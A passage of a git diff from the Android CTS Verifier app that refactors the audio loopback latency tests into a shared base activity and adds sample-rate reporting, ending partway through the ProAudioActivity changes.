-import android.view.View.OnClickListener;
-
-import android.widget.Button;
-import android.widget.TextView;
-import android.widget.SeekBar;
-import android.widget.LinearLayout;
-import android.widget.ProgressBar;
-
-/**
- * Tests Audio Device roundtrip latency by using a loopback plug.
- */
-public class AudioLoopbackActivity extends PassFailButtons.Activity {
- private static final String TAG = "AudioLoopbackActivity";
-
- public static final int BYTES_PER_FRAME = 2;
-
- NativeAnalyzerThread mNativeAnalyzerThread = null;
-
- private int mSamplingRate = 44100;
- private int mMinBufferSizeInFrames = 0;
- private static final double CONFIDENCE_THRESHOLD = 0.6;
-
- private double mLatencyMillis;
- private double mConfidence;
-
- OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
- Context mContext;
-
- Button mHeadsetPortYes;
- Button mHeadsetPortNo;
-
- Button mLoopbackPlugReady;
- TextView mAudioLevelText;
- SeekBar mAudioLevelSeekbar;
- LinearLayout mLinearLayout;
- Button mTestButton;
- TextView mResultText;
- ProgressBar mProgressBar;
-
- int mMaxLevel;
- private class OnBtnClickListener implements OnClickListener {
- @Override
- public void onClick(View v) {
- switch (v.getId()) {
- case R.id.audio_loopback_plug_ready_btn:
- Log.i(TAG, "audio loopback plug ready");
- //enable all the other views.
- enableLayout(true);
- break;
- case R.id.audio_loopback_test_btn:
- Log.i(TAG, "audio loopback test");
- startAudioTest();
- break;
- case R.id.audio_general_headset_yes:
- Log.i(TAG, "User confirms Headset Port existence");
- mLoopbackPlugReady.setEnabled(true);
- recordHeadsetPortFound(true);
- mHeadsetPortYes.setEnabled(false);
- mHeadsetPortNo.setEnabled(false);
- break;
- case R.id.audio_general_headset_no:
- Log.i(TAG, "User denies Headset Port existence");
- recordHeadsetPortFound(false);
- getPassButton().setEnabled(true);
- mHeadsetPortYes.setEnabled(false);
- mHeadsetPortNo.setEnabled(false);
- break;
- }
- }
- }
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.audio_loopback_activity);
-
- mContext = this;
-
- mHeadsetPortYes = (Button)findViewById(R.id.audio_general_headset_yes);
- mHeadsetPortYes.setOnClickListener(mBtnClickListener);
- mHeadsetPortNo = (Button)findViewById(R.id.audio_general_headset_no);
- mHeadsetPortNo.setOnClickListener(mBtnClickListener);
-
- mLoopbackPlugReady = (Button)findViewById(R.id.audio_loopback_plug_ready_btn);
- mLoopbackPlugReady.setOnClickListener(mBtnClickListener);
- mLoopbackPlugReady.setEnabled(false);
- mLinearLayout = (LinearLayout)findViewById(R.id.audio_loopback_layout);
- mAudioLevelText = (TextView)findViewById(R.id.audio_loopback_level_text);
- mAudioLevelSeekbar = (SeekBar)findViewById(R.id.audio_loopback_level_seekbar);
- mTestButton =(Button)findViewById(R.id.audio_loopback_test_btn);
- mTestButton.setOnClickListener(mBtnClickListener);
- mResultText = (TextView)findViewById(R.id.audio_loopback_results_text);
- mProgressBar = (ProgressBar)findViewById(R.id.audio_loopback_progress_bar);
- showWait(false);
-
- enableLayout(false); //disabled all content
- AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
- mMaxLevel = am.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
- mAudioLevelSeekbar.setMax(mMaxLevel);
- am.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(0.7 * mMaxLevel), 0);
- refreshLevel();
-
- mAudioLevelSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
- @Override
- public void onStopTrackingTouch(SeekBar seekBar) {
- }
-
- @Override
- public void onStartTrackingTouch(SeekBar seekBar) {
- }
-
- @Override
- public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
-
- AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
- am.setStreamVolume(AudioManager.STREAM_MUSIC,
- progress, 0);
- refreshLevel();
- Log.i(TAG,"Changed stream volume to: " + progress);
- }
- });
-
- setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
- setInfoResources(R.string.audio_loopback_test, R.string.audio_loopback_info, -1);
-
- }
-
- /**
- * refresh Audio Level seekbar and text
- */
- private void refreshLevel() {
- AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-
- int currentLevel = am.getStreamVolume(AudioManager.STREAM_MUSIC);
- mAudioLevelSeekbar.setProgress(currentLevel);
-
- String levelText = String.format("%s: %d/%d",
- getResources().getString(R.string.audio_loopback_level_text),
- currentLevel, mMaxLevel);
- mAudioLevelText.setText(levelText);
- }
-
- /**
- * enable test ui elements
- */
- private void enableLayout(boolean enable) {
- for (int i = 0; i<mLinearLayout.getChildCount(); i++) {
- View view = mLinearLayout.getChildAt(i);
- view.setEnabled(enable);
- }
- }
-
- /**
- * show active progress bar
- */
- private void showWait(boolean show) {
- if (show) {
- mProgressBar.setVisibility(View.VISIBLE) ;
- } else {
- mProgressBar.setVisibility(View.INVISIBLE) ;
- }
- }
-
- /**
- * Start the loopback audio test
- */
- private void startAudioTest() {
- getPassButton().setEnabled(false);
- mTestButton.setEnabled(false);
- mLatencyMillis = 0.0;
- mConfidence = 0.0;
-
- mNativeAnalyzerThread = new NativeAnalyzerThread();
- if (mNativeAnalyzerThread != null) {
- mNativeAnalyzerThread.setMessageHandler(mMessageHandler);
- // This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
- mNativeAnalyzerThread.setInputPreset(MediaRecorder.AudioSource.VOICE_RECOGNITION);
- mNativeAnalyzerThread.startTest();
-
- try {
- Thread.sleep(200);
- } catch (InterruptedException e) {
- e.printStackTrace();
- }
- }
- }
-
- private void handleTestCompletion() {
- recordTestResults();
- boolean resultValid = mConfidence >= CONFIDENCE_THRESHOLD
- && mLatencyMillis > 1.0;
- getPassButton().setEnabled(resultValid);
-
- // Make sure the test thread is finished. It should already be done.
- if (mNativeAnalyzerThread != null) {
- try {
- mNativeAnalyzerThread.stopTest(2 * 1000);
- } catch (InterruptedException e) {
- e.printStackTrace();
- }
- }
- showWait(false);
- mTestButton.setEnabled(true);
- }
-
- /**
- * handler for messages from audio thread
- */
- private Handler mMessageHandler = new Handler() {
- public void handleMessage(Message msg) {
- super.handleMessage(msg);
- switch(msg.what) {
- case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED:
- Log.v(TAG,"got message native rec started!!");
- showWait(true);
- mResultText.setText("Test Running...");
- break;
- case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_OPEN_ERROR:
- Log.v(TAG,"got message native rec can't start!!");
- mResultText.setText("Test Error opening streams.");
- handleTestCompletion();
- break;
- case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR:
- Log.v(TAG,"got message native rec can't start!!");
- mResultText.setText("Test Error while recording.");
- handleTestCompletion();
- break;
- case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE_ERRORS:
- mResultText.setText("Test FAILED due to errors.");
- handleTestCompletion();
- break;
- case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE:
- if (mNativeAnalyzerThread != null) {
- mLatencyMillis = mNativeAnalyzerThread.getLatencyMillis();
- mConfidence = mNativeAnalyzerThread.getConfidence();
- }
- mResultText.setText(String.format(
- "Test Finished\nLatency:%.2f ms\nConfidence: %.2f",
- mLatencyMillis,
- mConfidence));
- handleTestCompletion();
- break;
- default:
- break;
- }
- }
- };
-
- /**
- * Store test results in log
- */
- private void recordTestResults() {
-
- getReportLog().addValue(
- "Estimated Latency",
- mLatencyMillis,
- ResultType.LOWER_BETTER,
- ResultUnit.MS);
-
- getReportLog().addValue(
- "Confidence",
- mConfidence,
- ResultType.HIGHER_BETTER,
- ResultUnit.NONE);
-
- int audioLevel = mAudioLevelSeekbar.getProgress();
- getReportLog().addValue(
- "Audio Level",
- audioLevel,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- getReportLog().addValue(
- "Frames Buffer Size",
- mMinBufferSizeInFrames,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- getReportLog().addValue(
- "Sampling Rate",
- mSamplingRate,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- Log.v(TAG,"Results Recorded");
- }
-
- private void recordHeadsetPortFound(boolean found) {
- getReportLog().addValue(
- "User Reported Headset Port",
- found ? 1.0 : 0,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
new file mode 100644
index 0000000..7f96464
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
@@ -0,0 +1,418 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.app.AlertDialog;
+
+import android.content.Context;
+
+import android.media.AudioDeviceCallback;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+import android.media.AudioTrack;
+import android.media.MediaRecorder;
+
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+
+import android.util.Log;
+
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.view.ViewGroup;
+
+import android.widget.Button;
+import android.widget.TextView;
+import android.widget.ProgressBar;
+import android.widget.SeekBar;
+
+import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Base class for testing activitiees that require audio loopback hardware..
+ */
+public class AudioLoopbackBaseActivity extends PassFailButtons.Activity {
+ private static final String TAG = "AudioLoopbackActivity";
+
+ protected AudioManager mAudioManager;
+
+ // UI
+ OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+
+ Button mLoopbackPortYesBtn;
+ Button mLoopbackPortNoBtn;
+
+ TextView mInputDeviceTxt;
+ TextView mOutputDeviceTxt;
+
+ TextView mAudioLevelText;
+ SeekBar mAudioLevelSeekbar;
+
+ TextView mResultText;
+ ProgressBar mProgressBar;
+ int mMaxLevel;
+
+ // Peripheral(s)
+ boolean mIsPeripheralAttached; // CDD ProAudio section C-1-3
+ AudioDeviceInfo mOutputDevInfo;
+ AudioDeviceInfo mInputDevInfo;
+
+ // Loopback Logic
+ NativeAnalyzerThread mNativeAnalyzerThread = null;
+
+ protected double mLatencyMillis = 0.0;
+ protected double mConfidence = 0.0;
+
+ protected static final double CONFIDENCE_THRESHOLD = 0.6;
+ protected static final double PROAUDIO_LATENCY_MS_LIMIT = 20.0;
+
+ // The audio stream callback threads should stop and close
+ // in less than a few hundred msec. This is a generous timeout value.
+ private static final int STOP_TEST_TIMEOUT_MSEC = 2 * 1000;
+
+ //
+ // Common UI Handling
+ //
+ void enableLayout(int layoutId, boolean enable) {
+ ViewGroup group = (ViewGroup)findViewById(layoutId);
+ for (int i = 0; i < group.getChildCount(); i++) {
+ group.getChildAt(i).setEnabled(enable);
+ }
+ }
+
+ private void connectLoopbackUI() {
+ // Has Loopback - Yes
+ mLoopbackPortYesBtn = (Button)findViewById(R.id.loopback_tests_yes_btn);
+ mLoopbackPortYesBtn.setOnClickListener(mBtnClickListener);
+
+ // Has Looback - No
+ mLoopbackPortNoBtn = (Button)findViewById(R.id.loopback_tests_no_btn);
+ mLoopbackPortNoBtn.setOnClickListener(mBtnClickListener);
+
+ // Connected Device
+ mInputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackInputLbl));
+ mOutputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackOutputLbl));
+
+ // Loopback Info
+ findViewById(R.id.loopback_tests_info_btn).setOnClickListener(mBtnClickListener);
+
+ mAudioLevelText = (TextView)findViewById(R.id.audio_loopback_level_text);
+ mAudioLevelSeekbar = (SeekBar)findViewById(R.id.audio_loopback_level_seekbar);
+ mMaxLevel = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
+ mAudioLevelSeekbar.setMax(mMaxLevel);
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(0.7 * mMaxLevel), 0);
+ refreshLevel();
+
+ mAudioLevelSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
+ @Override
+ public void onStopTrackingTouch(SeekBar seekBar) {}
+
+ @Override
+ public void onStartTrackingTouch(SeekBar seekBar) {}
+
+ @Override
+ public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC,
+ progress, 0);
+ refreshLevel();
+ Log.i(TAG,"Changed stream volume to: " + progress);
+ }
+ });
+
+ mResultText = (TextView)findViewById(R.id.audio_loopback_results_text);
+ mProgressBar = (ProgressBar)findViewById(R.id.audio_loopback_progress_bar);
+ showWait(false);
+
+ enableTestUI(false);
+ }
+
+ //
+ // Peripheral Connection Logic
+ //
+ protected void scanPeripheralList(AudioDeviceInfo[] devices) {
+ // CDD Section C-1-3: USB port, host-mode support
+
+ // Can't just use the first record because then we will only get
+ // Source OR sink, not both even on devices that are both.
+ mOutputDevInfo = null;
+ mInputDevInfo = null;
+
+ // Any valid peripherals
+ // Do we leave in the Headset test to support a USB-Dongle?
+ for (AudioDeviceInfo devInfo : devices) {
+ if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE || // USB Peripheral
+ devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET || // USB dongle+LBPlug
+ devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET || // Loopback Plug?
+ devInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) { // Aux-cable loopback?
+ if (devInfo.isSink()) {
+ mOutputDevInfo = devInfo;
+ }
+ if (devInfo.isSource()) {
+ mInputDevInfo = devInfo;
+ }
+ } else {
+ handleDeviceConnection(devInfo);
+ }
+ }
+
+ mIsPeripheralAttached = mOutputDevInfo != null || mInputDevInfo != null;
+ showConnectedAudioPeripheral();
+
+ }
+
+ protected void handleDeviceConnection(AudioDeviceInfo deviceInfo) {
+ // NOP
+ }
+
+ private class ConnectListener extends AudioDeviceCallback {
+ /*package*/ ConnectListener() {}
+
+ //
+ // AudioDevicesManager.OnDeviceConnectionListener
+ //
+ @Override
+ public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
+ scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+ }
+
+ @Override
+ public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
+ scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+ }
+ }
+
+ protected void showConnectedAudioPeripheral() {
+ mInputDeviceTxt.setText(
+ mInputDevInfo != null ? mInputDevInfo.getProductName().toString()
+ : "");
+ mOutputDeviceTxt.setText(
+ mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString()
+ : "");
+ }
+
+ /**
+ * refresh Audio Level seekbar and text
+ */
+ private void refreshLevel() {
+ int currentLevel = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
+ mAudioLevelSeekbar.setProgress(currentLevel);
+
+ String levelText = String.format("%s: %d/%d",
+ getResources().getString(R.string.audio_loopback_level_text),
+ currentLevel, mMaxLevel);
+ mAudioLevelText.setText(levelText);
+ }
+
+ private void showLoopbackInfoDialog() {
+ new AlertDialog.Builder(this)
+ .setTitle(R.string.loopback_dlg_caption)
+ .setMessage(R.string.loopback_dlg_text)
+ .setPositiveButton(R.string.audio_general_ok, null)
+ .show();
+ }
+
+ //
+ // show active progress bar
+ //
+ protected void showWait(boolean show) {
+ if (show) {
+ mProgressBar.setVisibility(View.VISIBLE) ;
+ } else {
+ mProgressBar.setVisibility(View.INVISIBLE) ;
+ }
+ }
+
+
+ private class OnBtnClickListener implements OnClickListener {
+ @Override
+ public void onClick(View v) {
+ switch (v.getId()) {
+ case R.id.loopback_tests_yes_btn:
+ Log.i(TAG, "User confirms Headset Port existence");
+ recordLoopbackStatus(true);
+ mLoopbackPortYesBtn.setEnabled(false);
+ mLoopbackPortNoBtn.setEnabled(false);
+ break;
+
+ case R.id.loopback_tests_no_btn:
+ Log.i(TAG, "User denies Headset Port existence");
+ recordLoopbackStatus(false);
+ getPassButton().setEnabled(true);
+ mLoopbackPortYesBtn.setEnabled(false);
+ mLoopbackPortNoBtn.setEnabled(false);
+ break;
+
+ case R.id.loopback_tests_info_btn:
+ showLoopbackInfoDialog();
+ break;
+ }
+ }
+ }
+
+ //
+ // Common loging
+ //
+ protected void recordTestResults() {
+ ReportLog reportLog = getReportLog();
+ reportLog.addValue(
+ "Estimated Latency",
+ mLatencyMillis,
+ ResultType.LOWER_BETTER,
+ ResultUnit.MS);
+
+ reportLog.addValue(
+ "Confidence",
+ mConfidence,
+ ResultType.HIGHER_BETTER,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ "Sample Rate",
+ mNativeAnalyzerThread.getSampleRate(),
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ "Is Peripheral Attached",
+ mIsPeripheralAttached,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ if (mIsPeripheralAttached) {
+ reportLog.addValue(
+ "Input Device",
+ mInputDevInfo != null ? mInputDevInfo.getProductName().toString() : "None",
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ "Ouput Device",
+ mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString() : "None",
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+ }
+ }
+
+ //
+ // test logic
+ //
+ protected void startAudioTest(Handler messageHandler) {
+ getPassButton().setEnabled(false);
+ mLatencyMillis = 0.0;
+ mConfidence = 0.0;
+
+ mNativeAnalyzerThread = new NativeAnalyzerThread();
+ if (mNativeAnalyzerThread != null) {
+ mNativeAnalyzerThread.setMessageHandler(messageHandler);
+ // This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
+ mNativeAnalyzerThread.setInputPreset(MediaRecorder.AudioSource.VOICE_RECOGNITION);
+ mNativeAnalyzerThread.startTest();
+
+ try {
+ Thread.sleep(200);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }
+ }
+
+ protected void handleTestCompletion() {
+ // Make sure the test thread is finished. It should already be done.
+ if (mNativeAnalyzerThread != null) {
+ try {
+ mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }
+ }
+
+ /**
+ * handler for messages from audio thread
+ */
+ protected Handler mMessageHandler = new Handler() {
+ public void handleMessage(Message msg) {
+ super.handleMessage(msg);
+ switch(msg.what) {
+ case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED:
+ Log.v(TAG,"got message native rec started!!");
+ showWait(true);
+ mResultText.setText("Test Running...");
+ break;
+ case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_OPEN_ERROR:
+ Log.v(TAG,"got message native rec can't start!!");
+ mResultText.setText("Test Error opening streams.");
+ handleTestCompletion();
+ break;
+ case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR:
+ Log.v(TAG,"got message native rec can't start!!");
+ mResultText.setText("Test Error while recording.");
+ handleTestCompletion();
+ break;
+ case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE_ERRORS:
+ mResultText.setText("Test FAILED due to errors.");
+ handleTestCompletion();
+ break;
+ case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE:
+ if (mNativeAnalyzerThread != null) {
+ mLatencyMillis = mNativeAnalyzerThread.getLatencyMillis();
+ mConfidence = mNativeAnalyzerThread.getConfidence();
+ }
+ mResultText.setText(String.format(
+ "Test Finished\nLatency:%.2f ms\nConfidence: %.2f",
+ mLatencyMillis,
+ mConfidence));
+ handleTestCompletion();
+ break;
+ default:
+ break;
+ }
+ }
+ };
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
+
+ mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
+
+ connectLoopbackUI();
+ }
+
+ private void recordLoopbackStatus(boolean has) {
+ getReportLog().addValue(
+ "User reported loopback availability: ",
+ has ? 1.0 : 0,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+ }
+
+ //
+ // Overrides
+ //
+ void enableTestUI(boolean enable) {
+
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
new file mode 100644
index 0000000..ded5c1e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.content.Context;
+
+import android.os.Bundle;
+
+import android.util.Log;
+
+import android.view.View;
+import android.view.View.OnClickListener;
+
+import android.widget.Button;
+import android.widget.TextView;
+
+import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import com.android.cts.verifier.R;
+
+/**
+ * Tests Audio Device roundtrip latency by using a loopback plug.
+ */
+public class AudioLoopbackLatencyActivity extends AudioLoopbackBaseActivity {
+ private static final String TAG = "AudioLoopbackLatencyActivity";
+
+// public static final int BYTES_PER_FRAME = 2;
+
+ private int mMinBufferSizeInFrames = 0;
+
+ OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+
+ Button mTestButton;
+
+ private class OnBtnClickListener implements OnClickListener {
+ @Override
+ public void onClick(View v) {
+ switch (v.getId()) {
+ case R.id.audio_loopback_test_btn:
+ Log.i(TAG, "audio loopback test");
+ startAudioTest();
+ break;
+ }
+ }
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ // we need to do this first so that the layout is inplace when the super-class inits
+ setContentView(R.layout.audio_loopback_latency_activity);
+ super.onCreate(savedInstanceState);
+
+ mTestButton =(Button)findViewById(R.id.audio_loopback_test_btn);
+ mTestButton.setOnClickListener(mBtnClickListener);
+
+ setPassFailButtonClickListeners();
+ getPassButton().setEnabled(false);
+ setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
+ }
+
+ protected void startAudioTest() {
+ mTestButton.setEnabled(false);
+ super.startAudioTest(mMessageHandler);
+ }
+
+ protected void handleTestCompletion() {
+ super.handleTestCompletion();
+
+ boolean resultValid = mConfidence >= CONFIDENCE_THRESHOLD
+ && mLatencyMillis > 1.0;
+ getPassButton().setEnabled(resultValid);
+
+ recordTestResults();
+
+ showWait(false);
+ mTestButton.setEnabled(true);
+ }
+
+ /**
+ * Store test results in log
+ */
+ protected void recordTestResults() {
+ super.recordTestResults();
+
+ ReportLog reportLog = getReportLog();
+ int audioLevel = mAudioLevelSeekbar.getProgress();
+ reportLog.addValue(
+ "Audio Level",
+ audioLevel,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ "Frames Buffer Size",
+ mMinBufferSizeInFrames,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ Log.v(TAG,"Results Recorded");
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
index 42f22aa..2f74074 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
@@ -38,6 +38,8 @@
private volatile boolean mEnabled = false;
private volatile double mLatencyMillis = 0.0;
private volatile double mConfidence = 0.0;
+ private volatile int mSampleRate = 0;
+
private int mInputPreset = 0;
static final int NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED = 892;
@@ -74,6 +76,7 @@
private native int analyze(long audio_context);
private native double getLatencyMillis(long audio_context);
private native double getConfidence(long audio_context);
+ private native int getSampleRate(long audio_context);
public double getLatencyMillis() {
return mLatencyMillis;
@@ -83,6 +86,8 @@
return mConfidence;
}
+ public int getSampleRate() { return mSampleRate; }
+
public synchronized void startTest() {
if (mThread == null) {
mEnabled = true;
@@ -111,6 +116,8 @@
private Runnable mBackGroundTask = () -> {
mLatencyMillis = 0.0;
mConfidence = 0.0;
+ mSampleRate = 0;
+
boolean analysisComplete = false;
log(" Started capture test");
@@ -155,6 +162,7 @@
}
mLatencyMillis = getLatencyMillis(audioContext);
mConfidence = getConfidence(audioContext);
+ mSampleRate = getSampleRate(audioContext);
break;
} else {
try {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
index 07a2d4d..c1714cc 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
@@ -17,30 +17,30 @@
package com.android.cts.verifier.audio;
import android.app.AlertDialog;
-import android.content.ComponentName;
import android.content.DialogInterface;
-import android.content.Intent;
import android.content.pm.PackageManager;
-import android.media.AudioDeviceCallback;
import android.media.AudioDeviceInfo;
import android.media.AudioFormat;
-import android.media.AudioManager;
+
import android.os.Bundle;
import android.os.Handler;
+
import android.util.Log;
+
import android.view.View;
+
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.TextView;
-import android.widget.Toast;
-import com.android.cts.verifier.PassFailButtons;
+import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
import com.android.cts.verifier.R; // needed to access resource in CTSVerifier project namespace.
-import java.util.List;
-
public class ProAudioActivity
- extends PassFailButtons.Activity
+ extends AudioLoopbackBaseActivity
implements View.OnClickListener {
private static final String TAG = ProAudioActivity.class.getName();
private static final boolean DEBUG = false;
@@ -53,29 +53,15 @@
private boolean mClaimsUSBPeripheralMode; // CDD ProAudio section C-1-3
private boolean mClaimsHDMI; // CDD ProAudio section C-1-3
- // Values
- private static final double LATENCY_MS_LIMIT = 20.0; // CDD ProAudio section C-1-2
- private double mRoundTripLatency;
- private static final double CONFIDENCE_LIMIT = 0.75; // TBD
- private double mRoundTripConfidence;
-
- // Peripheral(s)
- AudioManager mAudioManager;
- private boolean mIsPeripheralAttached; // CDD ProAudio section C-1-3
- private AudioDeviceInfo mOutputDevInfo;
- private AudioDeviceInfo mInputDevInfo;
-
- private AudioDeviceInfo mHDMIDeviceInfo;
+ AudioDeviceInfo mHDMIDeviceInfo;
// Widgets
- TextView mInputDeviceTxt;
- TextView mOutputDeviceTxt;
- TextView mRoundTripLatencyTxt;
- TextView mRoundTripConfidenceTxt;
TextView mHDMISupportLbl;
CheckBox mClaimsHDMICheckBox;
+ Button mRoundTripTestButton;
+
// Borrowed from PassFailButtons.java
private static final int INFO_DIALOG_ID = 1337;
private static final String INFO_DIALOG_TITLE_ID = "infoDialogTitleId";
@@ -107,15 +93,6 @@
return getPackageManager().hasSystemFeature(PackageManager.FEATURE_USB_ACCESSORY);
}
- private void showConnectedAudioPeripheral() {
- mInputDeviceTxt.setText(
- mInputDevInfo != null ? mInputDevInfo.getProductName().toString()
- : "");
- mOutputDeviceTxt.setText(
- mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString()
- : "");
- }
-
// HDMI Stuff
private boolean isHDMIValid() {
if (mHDMIDeviceInfo == null) {
@@ -167,106 +144,36 @@
return true;
}
+ protected void handleDeviceConnection(AudioDeviceInfo devInfo) {
+ if (devInfo.isSink() && devInfo.getType() == AudioDeviceInfo.TYPE_HDMI) {
+ mHDMIDeviceInfo = devInfo;
+ }
+
+ if (mHDMIDeviceInfo != null) {
+ mClaimsHDMICheckBox.setChecked(true);
+ mHDMISupportLbl.setText(getResources().getString(
+ isHDMIValid() ? R.string.pass_button_text : R.string.fail_button_text));
+ }
+ mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_NA));
+
+ calculatePass();
+ }
+
private void calculatePass() {
boolean hasPassed = !mClaimsProAudio ||
(mClaimsLowLatencyAudio && mClaimsMIDI &&
mClaimsUSBHostMode && mClaimsUSBPeripheralMode &&
(!mClaimsHDMI || isHDMIValid()) &&
mOutputDevInfo != null && mInputDevInfo != null &&
- mRoundTripLatency != 0.0 && mRoundTripLatency <= LATENCY_MS_LIMIT &&
- mRoundTripConfidence >= CONFIDENCE_LIMIT);
